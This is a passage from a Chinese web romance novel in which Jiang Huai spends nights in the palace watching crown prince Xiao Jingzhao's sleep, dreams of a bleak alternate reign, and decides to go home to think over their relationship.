“别多想,我就是……暂时不太想去别的殿睡觉。”说实话,如果不和萧靖昭睡的话,姜淮是真的不太愿意住在永安宫的。
宫殿都极为高大,哪怕寝房看起来要小些,可比起普通的宅邸卧房还是很大,格外的空旷,睡在这种地方,光是想象一下,姜淮都感觉后背毛毛的。
萧靖昭失望又不太失望,毕竟他清楚地知道,他刚才的想法才是不太现实的。
“那被褥是……”萧靖昭问。
“准备两床。”姜淮立刻道。
睡一张床是因为他想观察下萧靖昭的睡眠情况,不然要是分开睡,他大半夜的偷偷观察萧靖昭的睡眠情况,姜淮觉得这个行动有点过于鬼鬼祟祟了,而且暗卫也肯定在边上,哪怕清楚他的身份,也很容易有误会。
最主要的是,那样偷偷摸摸地观察,还可能惊扰到萧靖昭的睡眠,毕竟他起身的动静都能惊扰到萧靖昭。
萧靖昭从来没有一次这么期待过就寝,陪着姜淮用过晚膳后,又处理了一会儿政务,就忍不住朝着姜淮看过去。
姜淮本来觉得自己的行动有些奇怪,但是出发点是好的,人正不怕影子斜,就算有点小误会也没有什么,但是被萧靖昭这么看来看去的,姜淮也有点坐立不安起来。
“不准看了。”姜淮被看毛了,瞪了萧靖昭一眼。
萧靖昭轻眨了眨眼睛,知道再看下去真的要惹火姜淮了,收回视线。
只是不看,但是他可以说,什么困了没有,要不要去沐浴歇息,都不是暗示,直接明示什么时候去歇息。
姜淮能说什么,只能起身去洗漱沐浴,然后换上萧靖昭准备好的里衣。
姜淮发现这里衣居然恰好就是他的尺寸,上面还熏上淡淡的果香,都是姜淮喜欢的香气。
“这是早就准备好的吧。”姜淮喃喃,尺寸和香气都还可以说是巧合,但是这衣裳恰好就是姜淮喜欢的款式和花纹,按理来说大周其他地方应该没有的,这肯定是萧靖昭之前就准备好的。
不然他这是突然说要进宫住一会,就算萧靖昭让人准备,也不太可能这么快就准备好吧。
不过这一番洗浴,姜淮发现宫里也确实有更好的地方,比如说洗浴的浴池,在姜府,姜淮没有弄过浴池,毕竟整一个浴池也麻烦,姜府没有什么地方弄,不过宫里倒是地方宽广得很。
将头发擦干,姜淮回到玉华殿,发现在他洗浴的这段时间,萧靖昭也洗完了,就等着他回来一起歇息。
床很大,两个软枕并排放着,两床被褥也已经铺好了。
姜淮犹豫了一下,睡在了外侧,把内侧的位置留给了萧靖昭。
灯火熄灭,所有人都退到了门外,不过萧靖昭知道姜淮睡觉是不喜欢有人守门的,让内侍们再往外退了退,起码不要让姜淮注意到他们。
至于说暗卫,暗卫都隐藏起来了,存在感也非常的微弱,所以倒不需要萧靖昭格外地说什么。
姜淮这时候发现了自己的一个失误,白天的时候他能发现萧靖昭的睡觉动静,可问题是在这殿内,灯火吹灭后,虽然不能算是伸手不见五指的黑,但也是黑漆漆的,别的什么都看不见,更别说看见萧靖昭的情况。
他这……白来了
“淮儿,我没想到,你会愿意进宫陪我。”在夜色中,看不见萧靖昭的脸,但是能听见萧靖昭声音中带着说不出的甜腻。
“你平时……”睡觉点灯吗?
话没问出口,姜淮就咽了回去,他觉得不太可能睡觉还点着灯,点灯睡觉更容易影响睡眠质量的。
“嗯?”听到姜淮的半截话,萧靖昭疑惑。
“没什么,快睡吧。”姜淮心底叹气,感觉自己的观察计划彻底失败了,不过既然都失败了,那就老实睡觉吧。
姜淮说睡那是真倒头就睡,说完这句话,萧靖昭等了一会,就听到了姜淮平稳的呼吸声,显然已经睡熟了。
“淮儿,你真放心我啊!”萧靖昭唇角勾起,盯着面前的人影。
殿内自然很暗,可这种暗也是一种对比的暗,刚刚殿内灯火通明,乍然熄灭烛火后,对比下就显得格外的黑,可现在缓了一会,窗外的月光映了进来,慢慢地就让人能看出床上的人影。
萧靖昭静静地看着姜淮,今日的月色不错,月光越来越亮了,萧靖昭的眼力也不差,此时甚至可以清楚地看见姜淮的脸。
明明白天已经看了很久,可晚上依旧像是看不够似的,萧靖昭目光灼灼,他在白日里从来不敢这样看着姜淮,因为他清楚,他眼中的欲.望会吓到姜淮。
毕竟姜淮哪怕喜欢他,可看向他的眼神也只是喜欢,欣赏,占有欲有,但是绝对不像他这般,恨不得将姜淮死死捆在他身上,恨不得无时无刻都陪着姜淮。
这种情况在安远府的时候就有显露的端倪了,只不过那时候萧靖昭除去上战场,确实是日日和姜淮在一块,即便偶有分开,那也是很快就能团聚,甚至离开的时候就知道什么时候能再见。
加上两人感情互通,那丝丝的不安还没有冒头,就被情感上的稳定给压了下去。
而从安远府到京都的这段路上,忐忑不安开始冒头了,毕竟以往就算考虑隐瞒身份的事,但萧靖昭也是下意识的拖延逃避这件事,而那时候也容许他拖延,可在这段时间,几乎是没有什么拖延的可能了。
而在被发现身份后,姜淮的反应让萧靖昭心中累积的不安彻底爆发出来,哪怕这几天姜淮的态度有所回转,可带来的忐忑却比之前还要多,毕竟先前是觉得彻底无望,可现在是有希望,但是希望到底有多少全在姜淮心中,而萧靖昭一点把握也没有。
他就像是个风筝,任由姜淮牵着,若是姜淮不要,他就只能被风吹走,不知飘落到何处去。
好想再靠近一点!
萧靖昭看着乖巧躺在被子里的姜淮,心中的感情越发的高涨,他不知道这算不算情.欲,但是他并不想做别的,只想靠姜淮更近一些,隔着两床被子太远了。
萧靖昭不自觉地朝着姜淮那边挪过去,只是床虽大,可是有被子在中间挡着,怎么也没有办法靠太近,除非姜淮是睡在里侧,他就可以挤一挤,但是姜淮现在是睡在外侧,他要强行挤过去,指不定就会把姜淮给挤下床。
“淮儿,你是不是早就猜到我会克制不住地靠近你,才故意睡在外侧?”萧靖昭盯着姜淮认真道,只是姜淮已经睡着了,又怎么可能给他回复呢。
“小坏猫。”萧靖昭实在没有办法靠过去,叹了口气,然后伸手从被褥下摸出去,一把握住了姜淮的手。
不能靠太近,那牵着姜淮的手,也能安抚下他高涨的不安感。
只是从被子下伸出手带给了萧靖昭一点灵感,尽管他不能隔着被子靠过去,可是他可以从被子下面钻过去。
这个念头一冒出来,就让萧靖昭无法压制,看着姜淮熟睡的面庞,萧靖昭蠢蠢欲动。
哪怕理智告诉他这么做不太好,万一姜淮醒了,说不定就会误会,可另一边,感情又在告诉他,他只是想再靠近姜淮一点,这没有错。
更何况,姜淮睡觉也不太老实,两床被子是一模一样的,就算他睡过去了,姜淮可能也分不出究竟他偷偷睡过去,还是姜淮睡过来的。
一想到这个,萧靖昭就控制不住自己了,偷偷地试图挪走身上的被子,往姜淮那边挪,只是他不敢动静太大,怕吵醒姜淮。
只是萧靖昭不知道姜淮心里还惦记着事,睡得虽然快,但是脑子有事就更容易醒,从梦中醒来,姜淮有点像是还没有睡一样,大脑都特别的清醒。
姜淮第一眼就看到了窗外的月光,发现屋内没有睡前那么黑了,视线重新回到床上,发现自己不知道怎么睡的,居然往床边上挪了挪,赶紧往中间滚了滚,他可不想摔下床。
“诶,这被子都拉下来了。”姜淮看向萧靖昭,发现对方的被子不知道什么时候都落到了一边,就剩一点边角盖在身上。
姜淮叹了口气,他以往睡得都很熟,居然没发现萧靖昭也会踢被子,姜淮抓住被子往他这边一拉,帮萧靖昭将被子盖好,为了避免萧靖昭再把被子翻出去,姜淮还帮他压了压被角。
做完这一切,姜淮发现萧靖昭还在熟睡,忍不住打了个哈欠,给自己也压了压被角,准备继续睡觉。
不过很快,姜淮一个激灵,忽然想起来他入宫的目的,本来是觉得宫殿内很暗,看不清萧靖昭的动静才准备睡觉的,可现在这不是能看清了,那怎么能继续睡呢?
姜淮眨了眨眼睛,试图让自己精神点,但问题是如果一直熬夜没有睡觉,睡意没有上来,可能还能坚持住,可他刚刚睡了,还没有睡多久,睡意上头,就有点忍不住了。
不行,他得忍住。
姜淮使劲摇摇头,他今天要是不撑住,那想达到目的,岂不是明天还要再睡一晚,虽然真的到床上来睡觉了,尴尬似乎也没有太多的尴尬,毕竟以前经常这么一起睡觉,但是能少点尴尬还是少点吧。
姜淮努力维持清醒,大不了他明天回去补觉,只是困得难受,还是让他忍不住有点想打瞌睡,而且这会月光又暗了下来,离得远点又有点看不清了,姜淮只能再往前凑一点。
萧靖昭压根没有睡着,在姜淮醒来的时候,萧靖昭就下意识的装睡,虽然他装完就意识到行动有些冲动了,只是已经装睡就不好再醒来,而现在,感受到姜淮异常专注的视线,萧靖昭下意识想到之前,他也是这样地看着姜淮。
莫非姜淮也是这般心思?只是以往从来不表露出来。
第75章 第 75 章
姜淮这会也遇到了萧靖昭之前的困境, 隔着被子靠近,想要看清楚就只能挤一挤萧靖昭,萧靖昭睡在内侧, 但是不用担心将对方给挤下床去,可姜淮是要观察对方的睡眠情况,而不是要去打扰对方休息。
这样就只能身子不靠近, 但是脑袋靠过去, 问题又来了,这样别扭的姿势维持了一会, 姜淮就感觉肩颈酸胀起来, 显然这个姿势会让身体格外紧绷。
姜淮怀疑自己继续这样下去, 明天会是什么样都不好说, 起码坚持不了太久。
姜淮看看身上的被褥, 扒拉了下,手脚并用, 将被子推到一边, 盖在身上的只有被角边缘,这样倒是不妨碍他靠近萧靖昭了, 唯一的问题就是有一点点漏风。
玉华殿大概是烧了地龙,暖烘烘的, 漏风倒是不算特别的冷,可还是有点温差,最主要是这天冷了,就很想让被子裹紧全身。
姜淮瞅了眼萧靖昭身上的被子, 内侍准备的被子都极为宽大厚实, 两个人睡都不嫌大的,他悄悄地盖一点应该没事吧。
姜淮倒是不害怕打扰到萧靖昭, 毕竟他刚才帮忙盖被子,萧靖昭还睡得熟着,一点没有被打扰到。
姜淮还在思考,手比脑子动作还快,已经很干脆地揪着被子往自己身上盖来,顺便将萧靖昭被褥中的热气也往自己这边引过来了。
姜淮本意是只占用萧靖昭一点被子就好,但是他低估了自己的惯性,两床被子往身上盖终归是不太方便的,加上困意来袭,哪怕心里惦记着事,时不时就醒一下看看萧靖昭的睡眠情况,注意力全在萧靖昭身上,自然而然也就忘了自己身上是盖着两床被子,把属于自己的那点被子彻底甩开,直接和萧靖昭盖一床被褥了。
萧靖昭一直没有睡着,在姜淮靠过来时惊喜不已,只是很快他就发现,姜淮看他的意图和他还是不一样的,对方似乎是在观察,可到底在观察什么,萧靖昭还有点茫然。
不过萧靖昭也没想到,他刚刚想要靠近姜淮失败,结果姜淮现在反而主动靠了过来,这倒是意外之喜。
罢了,现在这样就很好了。
虽然还想和姜淮再亲近一些,但是现在的亲近是姜淮主动,这让萧靖昭已经有些满足了。
心爱之人在身边,加上最近确实没有休息好,萧靖昭不知不觉也睡着了,往常在睡梦中会因为担忧而有些不安稳,今晚只要稍微忧虑,半梦半醒间就能感知到旁边姜淮的存在,又被安抚好了,重新陷入沉睡。
虽然和彻底安心的熟睡比,这样的睡眠质量还是差了点,但是和前几天比还是要好不少的。
起码在萧靖昭睁眼醒来后,感受到和前几天截然不同的神清气爽,有了对比,萧靖昭才发现自己昨晚居然睡得不错。
萧靖昭下意识朝旁边看去,就发现他醒来的动静居然就吵醒了姜淮,对方睡眼惺忪,脸色看起来有些差。
“淮儿,是吵醒你了吗?”
“不是你的问题,是我自己的问题。”姜淮耳尖地听到了萧靖昭的话,打了个哈欠,瞥了眼萧靖昭,他这一晚上因为想着看看萧靖昭的睡眠情况,但是又很容易犯困,每次睡着睡着就因为记挂的事惊醒一下,睡得太浅了。
但是这一晚上下来,姜淮发现自己这观察计划还是实行的太突然了,要么今天再多睡一会儿,最好是做好日夜颠倒,这样才不至于晚上睡着,因为一旦睡着,就他这个睡眠情况,可能萧靖昭有什么反应,他都发现不了。
要不然就是直接问萧靖昭,毕竟睡眠情况如何,对方应该是最清楚的,姜淮倒是不担心萧靖昭会撒谎骗他,就怕对方睡得迷糊,对自己的睡眠状况也不够了解。
不过现在,他还是先睡吧。
姜淮怀疑,如果现在还有睡眠监测,但是他今天的睡眠肯定是不及格的。
“我再睡会,别吵。”姜淮留下一句话,再次睡去,在陷入沉睡前只听到了萧靖昭的一声轻笑。
萧靖昭醒了,内侍本该进去服侍,可萧靖昭提前说了,不让他们进来,这下萧靖昭就只能自己穿衣。
不过穿衣这事萧靖昭也穿习惯了,顶多就是宫内的服侍更加繁琐一些,但是多花点时间也差不多整理好了。
看了眼还在熟睡的姜淮,萧靖昭出殿,不过还是吩咐下去,除非姜淮出声说什么,不然谁也不能进去打扰姜淮。
……
姜淮再次醒来是被饿醒的,他的三餐饮食过于规律,以至于一到点,人就饿了。
睁眼看见满屋的雕梁画栋,姜淮睡得有点蒙,都忘了自己是在哪里,眨了眨眼过了会才缓过神来,他是在宫里。
所以,现在这是几点了?
姜淮看向窗外,看天色不太能看出几点了,不过按照他的生物钟,现在应该差不多就是吃早饭的时候了吧。
姜淮迅速爬了起来,在床边看到萧靖昭准备好的衣裳,也利落地穿好了,洗漱用品也都全准备好了,洗漱完毕,姜淮正要出门去找萧靖昭,只是刚踏出一步,姜淮就想起来自己的面具还没有戴上呢,赶紧掉头回来戴上。
姜淮踏出殿门,昨日他来的时候,时辰有点晚了,宫殿高大,显得有些压迫感,而今朝阳的光辉倒是给殿宇披上了一层金光,只显出金碧辉煌,倒是不那么压抑。
看到姜淮出来,内侍们都低下头,姜淮随口问道:“殿下在哪?”
被问话的内侍低头道:“回公子,太子殿下正在前殿和朝中大臣议事。”
议事?
这么早就……
姜淮下意识看了眼朝阳,算了算时辰,发现好像也不算很早,按照大周上朝的时间来算,就算是小朝会,这时候都已经快开完了,毕竟这一天除了上朝,官员们还是要回官署办事。
“公子可是要用早膳?”内侍又问道,这也是萧靖昭走的时候吩咐下来的,如果姜淮醒了,就赶紧让姜淮用膳,不用等他。
姜淮肯定是要吃的,不过姜淮又问内侍:“朝会多久能结束?”
内侍回道:“回公子,若是不出意外,按以往的时间,还有一刻钟便结束了,只是不知有没有意外。”
至于意外是什么,那就是朝堂上的事。
“那先不急着上吧,给我来点,来点糕点。”姜淮有点想等萧靖昭回来再吃,不过就这么饿着肚子也不太行,“不要太甜,也不要酸的,最好带点水果味,咸味的也信,不过也不要太饱腹的,稍微垫垫肚子就行。”
说完姜淮感觉自己这个要求是不是有点太多了,正要找补几句,就见内侍应下,然后离开。
姜淮的要求虽然多,但是内侍听过比这更离谱的要求,而且姜淮说得也挺明确了,宫内膳房准备的点心中绝对有符合姜淮要求的。
不过内侍去膳房之前,先吩咐另一个小内侍去前朝将姜淮醒了的消息传给萧靖昭,这也是萧靖昭走之前吩咐过的。
萧靖昭听内侍说姜淮已经醒了,并没有急着吃早膳,而是要等他回去了再吃,脸上不禁露出一丝笑意,尽管很快就收敛了,却也被其他人看在眼里,让一些参会的官员生出一丝好奇来。
不过再好奇,朝会上还是政务要紧,官员也没有再多想什么。
很快,朝会就结束了,萧靖昭脚步匆匆离开,任谁都可以看出他迫不及待地姿态来,顿时又勾起了一些臣子的好奇。
“侯爷可知道些什么?”有人发现卫轩在出神,开口问道。
卫轩收敛心神,摇了摇头,避开其他人探寻的目光出宫,犹豫了片刻,径直去了姜淮暂住的地方,守门的护卫看到卫轩上门,以为卫轩是来找姜淮的,连忙道:“卫将军,公子不在府上。”
“他是去哪了?”卫轩问。
护卫迟疑片刻,摇了摇头道:“公子昨夜外出,小的也不知道是去了哪里。”
“他是和魏西一起出去的吧?”卫轩说道。
护卫点头。
他就知道。
卫轩叹气,他就说,萧靖昭今天怎么这么神采奕奕的,看来他这几天没有注意,萧靖昭和姜淮的关系应该是和缓了些,不过姜淮出门,该不会是进宫了吧。
卫轩有点蒙,他没有猜到姜淮进宫的原因,只当是两人感情进展顺利,姜淮才愿意进宫去看萧靖昭,只是这进度快的让他有点难以置信了。
而宫内,萧靖昭一回殿,就看到姜淮拿起一块糕点津津有味地吃着,看到他回来,眼睛就亮了起来。
“何必等我呢,你饿了就先吃。”萧靖昭虽然高兴于姜淮等他一起用膳,但是也不想让姜淮特意等他,毕竟朝会开多久,有时候他也不能确定的,哪怕是吃糕点垫肚子,也不如先吃早膳舒服。
“没事,不等你,我都没发现这宫里点心做得这么好吃。”姜淮不在意,扬了扬手里的点心,吞掉最后一口,然后拿起一块点心举到萧靖昭面前,“你尝尝看。”
萧靖昭顺着咬了下去,甜丝丝的桃香气充盈口中,但是没有他心里甜。
第76章 第 76 章
“想什么呢?”和姜淮一起用过早膳, 萧靖昭注意到姜淮盯着自己的模样,问道。
姜淮瞥了眼一旁的内侍,萧靖昭会意, 让其他内侍都退下了,又往姜淮这边靠了靠,贴着姜淮的耳朵道:“要是有什么不想让其他人知道的, 那你就贴着我说。”
萧靖昭一靠近, 优越样貌带来的诱.惑就更强了,让姜淮都忍不住多看了一眼, 其实昨晚靠的已经很近了, 但是此刻的距离更近, 近到姜淮都可以看清萧靖昭瞳孔中映着的自己了。
少年郎显然是没有睡好, 脸上还带着明显的倦怠之色, 可是神情确实异常放松,显然是十分信任身边的人。
他在萧靖昭身边是这个样子的吗?
姜淮从来没有想过自己在萧靖昭身边会是这样信赖他的模样, 明明他还没有想好要不要继续下去, 可身体却暴露出了他的倾向。
“嗯?”注意到姜淮的目光,萧靖昭凑得更近, 调整了下姿势,方便姜淮更好地看他。
“别, 别靠这么近。”姜淮伸手试图将萧靖昭推远一点。
“你想说什么?”萧靖昭感受到姜淮手心传来的力度,笑了下才朝后仰去。
姜淮本来是想问问萧靖昭的睡眠情况的,可话到嘴边就改口成了:“我想再睡个回笼觉。”
尽管知道姜淮刚才想说的大概不是这句话,可萧靖昭还是什么都没问, 反而让姜淮去好好休息, 毕竟他也看得出来姜淮是没有休息好。
姜淮躺在床上,明明睡意浓郁, 却又怎么也睡不着,脑海中萧靖昭的模样不断地出现,搅的他心烦意乱。
姜淮长叹了口气,想到自己现在睡觉是为了晚上,才强行逼着自己睡过去,睡到快用午膳才起来吃,吃过歇了会,又睡了个午觉。
萧靖昭察觉出异常,但是只当姜淮是睡不够,除了忧虑姜淮晚上会睡不着,倒是没有太多想。
而用过晚膳,发现姜淮还没有离开的意图,萧靖昭既惊且喜,只是心中的疑思又多了些。
对于姜淮,萧靖昭希望自己能够更加了解姜淮的所思所想,可有时候萧靖昭又发现他确实弄不清姜淮的想法,这就让他心中有些焦虑。
姜淮看了眼殿外,发现今晚的月色就没有昨晚的好了,有云将月遮掩住,尽管不是完全遮掩,但显然,这样的月光再投入殿内,带来的光明怕是比不上昨天了。
不会计划又要失败吧?
姜淮深吸口气,感觉自己这次真是出师不利,昨天也就算了,经验不足,哪怕天公作美,可身体吃不消还是睡着了,可现在有了经验,也好好睡了一觉,可天时不对。
算了,大不了他再待一天。
昨天进宫和萧靖昭一起睡,姜淮是做了一会心理准备的,可今天再一起睡,也习惯了,要是明天还在留下来,估计就更习惯了。
“天上有什么吗?”萧靖昭顺着姜淮的目光看去,只见一轮皎月挂在高空,只可惜被云遮挡,半掩半露。
“没什么。”姜淮摇头。
“过来睡吧。”照旧回到昨晚睡觉的位置,姜淮拍拍旁边的枕头,招呼萧靖昭过来一起休息。
萧靖昭压下心中所思,和昨夜一样睡在了内侧。
殿内的灯火熄灭,再次陷入黑暗之中,姜淮却发现和昨天比起来,明明月光不够明亮了,但是屋子里似乎更光亮了些。
这光似乎……
姜淮忽然想起刚刚在廊下看到的宫灯,昨天好像还没有,莫非是这些灯映出来的光。
姜淮可以将这当作巧合,可又很难说服自己这只是个巧合。
难道萧靖昭发现他晚上的小动作了?
姜淮倒抽一口凉气,说实话,这么做有点小尴尬,但是没有人发现的时候,完全可以忽略这点尴尬,但要是被人发现了……
姜淮感觉浑身僵硬,明明旁边的萧靖昭好像已经睡着了,但是他总怀疑对方没有睡着,或者他偷偷看一眼,萧靖昭就会被他的动静惊醒,不然萧靖昭怎么像是猜到了他的行动。
姜淮也不知道过去了多久,直到身体因为维持僵硬而开始酸胀,才稍微放下肌肉,朝旁边瞟了一眼,萧靖昭双眼紧闭,呼吸平稳,像是熟睡了的样子。
就算开始是装睡的,但是现在过去了这么久,没有发现他的动静,萧靖昭应该是睡着了吧。
姜淮忽然有些理解为什么有些人看人睡着了,还会喊对方名字,想确认对方是否睡着,因为他此时也是这种感觉,想喊一下萧靖昭,看看他是不是真睡着了。
但问题是,夜里很安静,尤其是这玉华殿,更是连虫鸣鸟叫都没有,只有偶尔的风声,他这要是出声,不说内侍有没有可能听到,守在暗处的暗卫估计是能听到的,那……
姜淮侧脸看向萧靖昭,白天睡足了,晚上确实不太想睡觉了,和昨晚的感受差别极大,而且因为光线更亮了些,姜淮也不需要凑得太近看萧靖昭。
所以,现在先观察观察吧。
平时累着了,恨不得一整天地躺床上歇息,到现在,姜淮才发现这样一直躺着似乎也不算特别舒服,真睡着了,身体会自己翻身挪动,睡一觉会觉得舒服,可人醒着,维持一个姿势过不了多久就嫌弃难受了,又要调换一个姿势。
好在离得够远,萧靖昭倒是不会被他打扰。
而这一看,姜淮发现萧靖昭睡觉姿势是真老实,几乎没有什么变化。
看着萧靖昭,姜淮的思绪忍不住又回转到两人的感情上来,不由得想要叹气,只是刚出声,在深夜中,叹气声反而很明显,姜淮赶紧闭嘴,将气声咽了回去。
其实现在,姜淮在确认了他对萧靖昭的了解是真实的后,倒是没有那么生气,毕竟要说起来,他也有身份上的秘密瞒着萧靖昭的,过分程度可能比萧靖昭更高。
只是现在他还是有些犹豫不决,不过如今夜里思考,姜淮也不知道他这算不算冲动,他不想看到萧靖昭因为这件事而一直忐忑的样子,还是说开吧。
姜淮也不知道自己熬到了几点,反正直到天光微亮,萧靖昭依旧睡得很熟,一点也不像是睡眠不好的样子。
而随着天色渐亮,姜淮也感觉睡意来袭,他熬了一晚上,哪怕白天睡饱了,可生物钟突然颠倒,一时半会也是调整不过来的,越是接近早晨,也就越发的困了。
眼皮越来越重,姜淮终于撑不住,再次睡去。
只不过睡前,姜淮还在思考一个问题,萧靖昭之前应该是没有休息好的,可这两天他陪着,对方又是睡眠质量很好的样子,而这两种情况,要说有哪里不同,那就是他陪着了。
所以,还是因为他!
第77章 第 77 章
或许是因为睡前还想着萧靖昭的事, 姜淮梦中也见到了萧靖昭。
不过似乎不是他所在这个世界的萧靖昭,而是另一个萧靖昭,这个世界似乎不存在姜淮, 姜淮只看到萧靖昭伪装着来到了安远府,寻机会和卫轩见面,而后就全身心地投入进了复仇造反大业, 围绕在他身边的人, 要么是他的属下,要么就是他的敌人。
姜淮看着对方慢慢积蓄力量, 直到最后时刻爆发出来, 席卷大周, 登基称帝。
然而在这五年里, 对方的行事越来越冷酷, 登基后似乎也改变不了这点,对方治理朝堂的手段极为酷烈, 而朝臣对此反应极大, 毕竟在他们的印象中,萧靖昭还是那个端庄温和的太子殿下, 哪怕如今登基,也不至于性情变化太大, 可现在……
尽管在萧靖昭的治理下,大周是变好了,可朝堂却越发的沉寂下来,而在萧靖昭身边, 亲近的人已经一个不剩, 老皇帝囚禁病死,皇后早就去世, 剩下的皇子有些被杀了,有些留下来的也是战战兢兢。
姜淮注意到里面竟然还有个眼熟的人,之前道破萧靖昭身份的竟然也是个皇子,而且听名字竟然就是原文的主角。
看到萧泽阳谨小慎微的样子,姜淮忽然想到原文评论区的说法,萧泽阳就是靠着苟,避开了萧靖昭挥下的每一把屠刀,不然也轮不到他登基了。
又或者说,要是萧靖昭不是频繁上战场伤了身,英年早逝,指不定萧泽阳就苟不住了。
在梦中,姜淮也看到了卫轩,姜淮也不知道算不算是过于高估自己的地位,没有了他,卫轩哪怕在安远府,对着萧靖昭也是毕恭毕敬,而回到京都,萧靖昭登基后,卫轩的态度则是更加恭敬了,因为君臣之别太大了,就算是舅甥关系也没用。
看到这样的萧靖昭,姜淮才知道什么叫做真正的孤家寡人。
梦中的萧靖昭或许是早就习惯了这件事,甚至不觉得这有什么,或许还觉得这样可以让他更好地做在皇帝这个位置上,可看着这样的萧靖昭,再看看他认识的萧靖昭,姜淮感觉喉咙发紧,有些喘不过气来。
萧靖昭就像是一条鱼被迫上岸,时间长了,哪怕窒息也只当是寻常,可他见过他在水中自在游动的样子。
姜淮想摸摸他,只是梦中的他只能看着梦里的一切,却什么都碰不到,只能看着。
越看越压抑,姜淮不自觉捂着胸口。
萧靖昭处理完朝政就急匆匆回来看姜淮,一进殿就看到姜淮眉头紧皱,一手捂着心口,如果不是看姜淮面色还很红润,萧靖昭几乎要以为姜淮是发病了。
“淮儿,淮儿?”萧靖昭几步上前,轻轻揉着姜淮心口,一边低声喊着,他怕姜淮是魇着了,这时候最好赶紧喊醒姜淮,可也不能让姜淮突然醒来,不然身体受不住,只能让他慢慢醒过来。
耳边一声声的呼唤传来,姜淮发现眼前的景象越来越模糊了,心口的憋闷也在慢慢转淡。
等姜淮彻底睁眼醒来,那点情绪已经减轻到微乎其微,甚至连梦中的内容似乎也有些记不太真切了。
“别怕,那些都是梦。”见姜淮醒过来,萧靖昭仔细观察了下姜淮的神色,发现并没有太多的惊惶,反而是带着些惆怅,不过这也不影响他说出安抚姜淮的话。
“梦?”姜淮还在茫然中,“什么梦?”
“不对,好像是做了个梦。”姜淮不自觉皱眉,被萧靖昭这一说,沉郁的情绪似乎又卷土重来,抬手想给自己揉揉心口。
只是刚动手,姜淮就发现不用他动手,萧靖昭已经自动给他揉了起来,一边揉一边问:“现在好些了吗?要不要加重点力道?”
萧靖昭怕自己揉轻了没有用,但是又怕揉重了让姜淮不舒服。
“哪里有这么脆弱。”姜淮摇头,不过被萧靖昭揉了揉心口,那种不舒服的感觉确实又缓解了许多。
姜淮算是知道为什么会有郁郁而终这事,这种心口沉郁的滋味着实不好受,也不知道他梦里到底是梦了什么,就这么不舒服,姜淮以前做过很多梦,还是头一次被梦境影响到现实。
不过……
姜淮看着坐在他旁边的萧靖昭,不自觉伸手摸了摸萧靖昭的脸。
萧靖昭眼中闪过一丝讶异,不过虽然不知道姜淮为什么这么做,却还是低下头,好让姜淮摸得更方便,毕竟姜淮这样的亲近他,这几天里可以算是头一次。
【终章】
第78章 第 78 章
姜淮刚摸上去就清醒过来, 想要收回手,只是萧靖昭的主动又让姜淮不好意思收手,指腹在脸上轻抚了两下。
“我好像是梦到你了?”看到萧靖昭, 姜淮倒是想起了一点梦中的内容。
只不过梦里的萧靖昭,姜淮瞥了眼萧靖昭,虽然容貌一模一样, 可那张脸会让他感觉紧张, 而在他眼前的萧靖昭则是让他倍觉安心。
萧靖昭有点好奇姜淮是梦到了什么,可这个梦让姜淮这么不开心, 他担心自己一问, 真让姜淮想起来, 反而更难受。
“梦里的你好像没有遇到我, 不对, 是我流放路上就死了……”姜淮还在回忆,还真回忆出了一点内容, 只是他的话还没有说完, 就被萧靖昭捂住嘴巴。
一般人做的梦萧靖昭不会多想,可偏偏姜淮有先祖托梦的经历, 那这个梦隐含的意思就很复杂了,萧靖昭不想深想, 却没办法不去深想。
“那都是梦,是假的,不用多想。”萧靖昭声线有些发紧,只是姜淮的注意力还在回忆当中, 并没有听出来。
不过就算没有听出来, 姜淮也知道这个梦的内容对萧靖昭来说过于刺激,而且也确实不太吉利, 没有再想下去。
不过姜淮很快就想起他睡着前想到的问题,萧靖昭之前睡不好,或许就是因为他?
是因为没有和他住一起,还是说因为担心他的去向?
姜淮莫名觉得这两个原因大概是都占一点的,那他要怎么办?
“淮儿?”萧靖昭注意到姜淮愣愣地看着他出神,低声唤道。
姜淮瞬间回神,发现自己的手居然还放在萧靖昭脸上没有拿下来,慌忙地收起手。
“咳咳,没事,我们先去用膳吧,有点饿了。”姜淮脱口而出,拦下来萧靖昭接下来可能的询问,虽然是找的借口,但说完姜淮感觉自己是真有点饿了,毕竟一晚上没有睡觉,消耗比平时要大。
萧靖昭尽管看出姜淮心里有事,可他也不好追问,只能和姜淮一起用膳,只是用膳时,姜淮明显还有些心不在焉的,吃起来慢吞吞的。
不过这倒是给了萧靖昭投喂姜淮的机会,吃着好吃的就给姜淮送到嘴边,姜淮倒是来者不拒,全都吃了下去,以至于哪怕自己吃得慢,可有了萧靖昭的投喂,这一顿还是吃饱了。
用过早膳,萧靖昭就问姜淮是不是要歇一会,毕竟姜淮的精神头还不如昨天,昨天都休息了一会,今天怕是要睡更久。
姜淮打了个哈欠,要说困,他现在还是真困了,只是……
“不了,我在宫中待了这么久,想回去了。”姜淮摇头,话音落下,就感觉萧靖昭似乎僵住了。
“要……回去?”萧靖昭哪怕知道姜淮能进宫待着一天多也很不错,可突然听到姜淮要回去的消息,却抑制不住心中的失落,以及一丝不安。
哪怕姜淮的态度已经软化了很多,可他不知道在姜淮离开后,会不会又心硬起来。
如果姜淮没有进宫陪他,或许他还能接受姜淮之前的态度,还可以克制自己的情绪,可现在……
“淮儿,不要走好不好?”萧靖昭凑近姜淮,脸上布满了焦虑,姜淮能感受到萧靖昭拉着自己的手在努力地克制,不想用力握痛他,可不安又让他有些控制不住,这对于一个练武之人来说是很明显的情绪起伏。
“只是回去看一看,不是和你生分了。”姜淮解释道,更何况,他也要好好思考一下,如果真的要和萧靖昭在一起的话,他要面对的有很多。
毕竟萧靖昭要只是个将军,那一切都还好说,可萧靖昭是皇帝,他也要好好想想。
“是不是因为在宫中睡不好?”萧靖昭相信姜淮不是在搪塞他,可还是忍不住想到其他原因,“哪里让你不舒服了,你……”
“都不是,我就是想回去好好想想我们之间的关系,给我一点时间,好吗?”姜淮挡住了萧靖昭的嘴,认真道。
萧靖昭很快就意识到姜淮这话是什么意思,瞳孔放大,呼吸都急促起来,也不敢再说什么,他怕他说的话会影响姜淮对他的观感,只能安排下去,要送姜淮出宫。
只是说到出宫,姜淮忽地想起如今正是官员当值的时间,要是现在出去,还不知道能碰到多少人,又干脆将出宫的时间改成了傍晚,到时候夜色深沉,就算被人看到,对方也认不出他。
萧靖昭对此极为惊喜,毕竟姜淮晚点走,那他们还能在一起多待一会。
姜淮本以为自己还是要去歇一会,毕竟一晚上没有睡好,萧靖昭尽管想多陪陪姜淮,可也知道他没有睡好,催着他休息,只是在床上略微歇了会,姜海发现他昨天睡的足够了,加上早上又补了觉,现在脸色虽然差了点,可精神还行,也不想睡了。
